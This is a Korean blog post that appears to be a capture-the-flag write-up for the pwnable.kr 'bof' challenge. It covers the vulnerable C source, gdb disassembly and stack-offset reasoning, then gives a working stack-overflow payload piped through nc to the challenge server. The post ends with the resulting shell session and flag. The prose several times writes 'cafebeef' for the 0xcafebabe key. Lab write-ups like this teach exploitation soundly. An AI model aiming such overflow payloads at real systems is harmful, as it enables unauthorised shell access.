ssoL2 TISTORY

pwnable.kr [bof] 본문

challenge/pwn

pwnable.kr [bof]

ssoL2 2019. 7. 8. 19:16

Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

 

 

 

 

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

 

void func(int key){

  char overflowme[32];

  printf("overflow me : ");

  gets(overflowme); // smash me!

  if(key == 0xcafebabe){

    system("/bin/sh");

  }

  else{

    printf("Nah..\n");

  }

}

 

int main(int argc, char* argv[]){

  func(0xdeadbeef);

  return 0;

}

 

 

1. func 에 deadbeef넣었는데 func에서 key값이 overflow로 cafebabe로 덮여지면 빈쉬 얻을 수 있는 방식임

2. main과 function을 gdb로 살펴봄


Dump of assembler code for function main:
   0x0000068a <+0>: push   ebp
   0x0000068b <+1>: mov    ebp,esp
   0x0000068d <+3>: and    esp,0xfffffff0
   0x00000690 <+6>: sub    esp,0x10
   0x00000693 <+9>: mov    DWORD PTR [esp],0xdeadbeef
   0x0000069a <+16>: call   0x62c 
   0x0000069f <+21>: mov    eax,0x0
   0x000006a4 <+26>: leave  
   0x000006a5 <+27>: ret    
End of assembler dump.

 

Dump of assembler code for function func:
   0x0000062c <+0>: push   ebp
   0x0000062d <+1>: mov    ebp,esp
   0x0000062f <+3>: sub    esp,0x48
   0x00000632 <+6>: mov    eax,gs:0x14
   0x00000638 <+12>: mov    DWORD PTR [ebp-0xc],eax
   0x0000063b <+15>: xor    eax,eax
   0x0000063d <+17>: mov    DWORD PTR [esp],0x78c
   0x00000644 <+24>: call   0x645 <func+25>
   0x00000649 <+29>: lea    eax,[ebp-0x2c]
   0x0000064c <+32>: mov    DWORD PTR [esp],eax
   0x0000064f <+35>: call   0x650 <func+36>
   0x00000654 <+40>: cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x0000065b <+47>: jne    0x66b <func+63>
   0x0000065d <+49>: mov    DWORD PTR [esp],0x79b
   0x00000664 <+56>: call   0x665 <func+57>
   0x00000669 <+61>: jmp    0x677 <func+75>
   0x0000066b <+63>: mov    DWORD PTR [esp],0x7a3
   0x00000672 <+70>: call   0x673 <func+71>
   0x00000677 <+75>: mov    eax,DWORD PTR [ebp-0xc]
   0x0000067a <+78>: xor    eax,DWORD PTR gs:0x14
   0x00000681 <+85>: je     0x688 <func+92>
   0x00000683 <+87>: call   0x684 <func+88>
   0x00000688 <+92>: leave  
   0x00000689 <+93>: ret    
End of assembler dump.

 

스택을 그려봄

main스택이 왼쪽, main의 return address 위로 쭉 옆에 func이어ㅇ

 

그려봄.,,맞는지 아닌지는 모르겠음

아무튼간에 gdb랑 같이 하나하나 해석해 나가면 해결할 수 있음

일단 gets함수에서 overflow나는 것은 당연한 사실임

gets함수가 func 어셈블리에서 0x0000064c <+32>: mov    DWORD PTR [esp],eax 다음임. 

따라서 esp가 0x2c인데 거기에 eax를 넣는 다는 거는

gets함수를 통해서 overflowme라는 변수에 값을 넣는 거랑 똑같은 말임

따라서 이 overflowme 변수를 다 덮고 쭉쭉 다 덮고 밑에 ebp까지 덮고 return address까지 덮는 다음에 나오는 key값인 deadbeaf를 우리가 원하는 cafebeef로 덮으면 됨

 

따라서 0x2c + 4 (ebp) + 4 (return address) + 0xcafebeef

= 44+4+4+0xcafebeef

= 52 + 0xcafebeef

근데 cafebeef이거 들어갈때는 리틀인디언이므로 거꾸로 써줘야돼 뭔소륀지 알쥥~~?

 

따라서 이거야.

 

 

 

 

(python -c 'print "A"*52+"\xbe\xba\xfe\xca"';cat)| nc pwnable.kr 9000
ls
bof
bof.c
flag
log
log2
super.pl
cat flag
daddy, I just pwned a buFFer :)

'challenge > pwn' 카테고리의 다른 글

[FTZ] LEVEL 1 풀이  (0) 2020.11.14
pwnable.kr [flag]  (0) 2019.07.09
pwnable.kr [collision]  (0) 2019.07.08
pwnable.kr [fd]  (0) 2019.07.08
lob [Level2] gremlin > cobolt (1)  (6) 2018.11.04
Comments